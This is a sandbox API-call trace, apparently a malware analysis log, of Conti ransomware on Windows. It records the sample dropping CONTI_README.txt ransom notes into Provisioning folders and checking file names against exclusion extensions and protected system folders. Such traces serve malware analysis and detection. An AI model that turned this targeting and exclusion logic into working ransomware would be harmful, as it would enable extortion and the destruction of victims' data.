	[0106.819] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\*"
	[0106.819] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime") returned 89
	[0106.819] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.819] GetProcessHeap () returned 0x1720000
	[0106.819] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xd6) returned 0x17c3868
	[0106.819] lstrcpyW (in: lpString1=0x17c3868, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime"
	[0106.819] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\"
	[0106.819] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\CONTI_README.txt"
	[0106.819] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0106.819] GetProcessHeap () returned 0x1720000
	[0106.819] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3868 | out: hHeap=0x1720000) returned 1
	[0106.819] WriteFile (in: hFile=0x2ec, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3ec5c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3ec5c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.820] CloseHandle (hObject=0x2ec) returned 1
	[0106.820] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\*", lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x538279f0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c81b0
	[0106.820] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.820] FindNextFileW (in: hFindFile=0x17c81b0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x538279f0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.821] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.821] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.821] FindNextFileW (in: hFindFile=0x17c81b0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f7b887, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f7b887, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f7b887, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x2a5, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1
	[0106.821] lstrcmpiW (lpString1="0__Power_EnergyEstimationEngine.provxml", lpString2=".") returned 1
	[0106.821] lstrcmpiW (lpString1="0__Power_EnergyEstimationEngine.provxml", lpString2="..") returned 1
	[0106.821] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".CONTI") returned 0x0
	[0106.821] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.821] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".exe") returned 0x0
	[0106.821] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".dll") returned 0x0
	[0106.821] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".lnk") returned 0x0
	[0106.821] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".sys") returned 0x0
	[0106.821] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".CONTI") returned 0x0
	[0106.821] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.821] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime") returned 89
	[0106.821] lstrlenW (lpString="0__Power_EnergyEstimationEngine.provxml") returned 39
	[0106.821] GetProcessHeap () returned 0x1720000
	[0106.821] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x104) returned 0x181e258
	[0106.821] lstrcpyW (in: lpString1=0x181e258, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime"
	[0106.821] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\"
	[0106.821] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\", lpString2="0__Power_EnergyEstimationEngine.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml"
	[0106.821] FindNextFileW (in: hFindFile=0x17c81b0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x538279f0, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x538279f0, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x538279f0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.821] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.821] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.821] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.821] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.821] FindNextFileW (in: hFindFile=0x17c81b0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x538279f0, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x538279f0, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x538279f0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0106.821] GetProcessHeap () returned 0x1720000
	[0106.821] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0106.821] FindClose (in: hFindFile=0x17c81b0 | out: hFindFile=0x17c81b0) returned 1
	[0106.821] GetProcessHeap () returned 0x1720000
	[0106.821] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6c78 | out: hHeap=0x1720000) returned 1
	[0106.821] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0106.822] lstrcmpiW (lpString1="RunTime.xml", lpString2=".") returned 1
	[0106.822] lstrcmpiW (lpString1="RunTime.xml", lpString2="..") returned 1
	[0106.822] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.822] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.822] StrStrIW (lpFirst="RunTime.xml", lpSrch=".exe") returned 0x0
	[0106.822] StrStrIW (lpFirst="RunTime.xml", lpSrch=".dll") returned 0x0
	[0106.822] StrStrIW (lpFirst="RunTime.xml", lpSrch=".lnk") returned 0x0
	[0106.822] StrStrIW (lpFirst="RunTime.xml", lpSrch=".sys") returned 0x0
	[0106.822] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.822] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.822] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov") returned 81
	[0106.822] lstrlenW (lpString="RunTime.xml") returned 11
	[0106.822] GetProcessHeap () returned 0x1720000
	[0106.822] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x6510c30
	[0106.822] lstrcpyW (in: lpString1=0x6510c30, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov"
	[0106.822] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\"
	[0106.822] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\", lpString2="RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml"
	[0106.822] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 0
	[0106.822] GetProcessHeap () returned 0x1720000
	[0106.822] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6587bf0 | out: hHeap=0x1720000) returned 1
	[0106.822] FindClose (in: hFindFile=0x17c8330 | out: hFindFile=0x17c8330) returned 1
	[0106.822] GetProcessHeap () returned 0x1720000
	[0106.822] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0106.822] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 0
	[0106.822] GetProcessHeap () returned 0x1720000
	[0106.822] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173ef48 | out: hHeap=0x1720000) returned 1
	[0106.822] FindClose (in: hFindFile=0x17c82b0 | out: hFindFile=0x17c82b0) returned 1
	[0106.822] GetProcessHeap () returned 0x1720000
	[0106.822] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173ea08 | out: hHeap=0x1720000) returned 1
	[0106.822] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="{c8a326e4-f518-4f14-b543-97a57e1a975e}", cAlternateFileName="{C8A32~1")) returned 1
	[0106.822] lstrcmpiW (lpString1="{c8a326e4-f518-4f14-b543-97a57e1a975e}", lpString2=".") returned 1
	[0106.822] lstrcmpiW (lpString1="{c8a326e4-f518-4f14-b543-97a57e1a975e}", lpString2="..") returned 1
	[0106.822] lstrcmpiW (lpString1="{c8a326e4-f518-4f14-b543-97a57e1a975e}", lpString2="tmp") returned -1
	[0106.822] lstrcmpiW (lpString1="{c8a326e4-f518-4f14-b543-97a57e1a975e}", lpString2="winnt") returned -1
	[0106.823] lstrcmpiW (lpString1="{c8a326e4-f518-4f14-b543-97a57e1a975e}", lpString2="Application Data") returned -1
	[0106.823] lstrcmpiW (lpString1="{c8a326e4-f518-4f14-b543-97a57e1a975e}", lpString2="AppData") returned -1
	[0106.823] lstrcmpiW (lpString1="{c8a326e4-f518-4f14-b543-97a57e1a975e}", lpString2="temp") returned -1
	[0106.823] lstrcmpiW (lpString1="{c8a326e4-f518-4f14-b543-97a57e1a975e}", lpString2="thumb") returned -1
	[0106.823] lstrcmpiW (lpString1="{c8a326e4-f518-4f14-b543-97a57e1a975e}", lpString2="$Recycle.Bin") returned 1
	[0106.823] lstrcmpiW (lpString1="{c8a326e4-f518-4f14-b543-97a57e1a975e}", lpString2="$RECYCLE.BIN") returned 1
	[0106.823] lstrcmpiW (lpString1="{c8a326e4-f518-4f14-b543-97a57e1a975e}", lpString2="System Volume Information") returned -1
	[0106.823] lstrcmpiW (lpString1="{c8a326e4-f518-4f14-b543-97a57e1a975e}", lpString2="Program Files") returned -1
	[0106.823] lstrcmpiW (lpString1="{c8a326e4-f518-4f14-b543-97a57e1a975e}", lpString2="Program Files (x86)") returned -1
	[0106.823] lstrcmpiW (lpString1="{c8a326e4-f518-4f14-b543-97a57e1a975e}", lpString2="Boot") returned -1
	[0106.823] lstrcmpiW (lpString1="{c8a326e4-f518-4f14-b543-97a57e1a975e}", lpString2="Windows") returned -1
	[0106.823] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning") returned 37
	[0106.823] lstrlenW (lpString="{c8a326e4-f518-4f14-b543-97a57e1a975e}") returned 38
	[0106.823] GetProcessHeap () returned 0x1720000
	[0106.823] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9a) returned 0x173e570
	[0106.823] lstrcpyW (in: lpString1=0x173e570, lpString2="C:\\ProgramData\\Microsoft\\Provisioning" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning") returned="C:\\ProgramData\\Microsoft\\Provisioning"
	[0106.823] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\"
	[0106.823] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\", lpString2="{c8a326e4-f518-4f14-b543-97a57e1a975e}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}"
	[0106.823] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}") returned 76
	[0106.823] GetProcessHeap () returned 0x1720000
	[0106.823] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9e) returned 0x173eca8
	[0106.823] lstrcpyW (in: lpString1=0x173eca8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}"
	[0106.823] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\*"
	[0106.823] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}") returned 76
	[0106.823] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.823] GetProcessHeap () returned 0x1720000
	[0106.823] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x6511658
	[0106.823] lstrcpyW (in: lpString1=0x6511658, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}"
	[0106.823] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\"
	[0106.823] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\CONTI_README.txt"
	[0106.823] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0106.827] GetProcessHeap () returned 0x1720000
	[0106.827] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6511658 | out: hHeap=0x1720000) returned 1
	[0106.827] WriteFile (in: hFile=0x3ac, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.828] CloseHandle (hObject=0x3ac) returned 1
	[0106.828] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5384de49, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7eb0
	[0106.829] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.829] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5384de49, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.829] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.829] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.829] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5384de49, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x5384de49, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5384de49, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.829] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.829] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.829] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.829] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.829] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x930c721b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x930c721b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x930c721b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x9ba5b, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1
	[0106.829] lstrcmpiW (lpString1="customizations.xml", lpString2=".") returned 1
	[0106.829] lstrcmpiW (lpString1="customizations.xml", lpString2="..") returned 1
	[0106.829] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.829] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.829] StrStrIW (lpFirst="customizations.xml", lpSrch=".exe") returned 0x0
	[0106.829] StrStrIW (lpFirst="customizations.xml", lpSrch=".dll") returned 0x0
	[0106.829] StrStrIW (lpFirst="customizations.xml", lpSrch=".lnk") returned 0x0
	[0106.829] StrStrIW (lpFirst="customizations.xml", lpSrch=".sys") returned 0x0
	[0106.829] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.829] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.829] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}") returned 76
	[0106.829] lstrlenW (lpString="customizations.xml") returned 18
	[0106.829] GetProcessHeap () returned 0x1720000
	[0106.829] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc0) returned 0x65117e8
	[0106.829] lstrcpyW (in: lpString1=0x65117e8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}"
	[0106.829] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\"
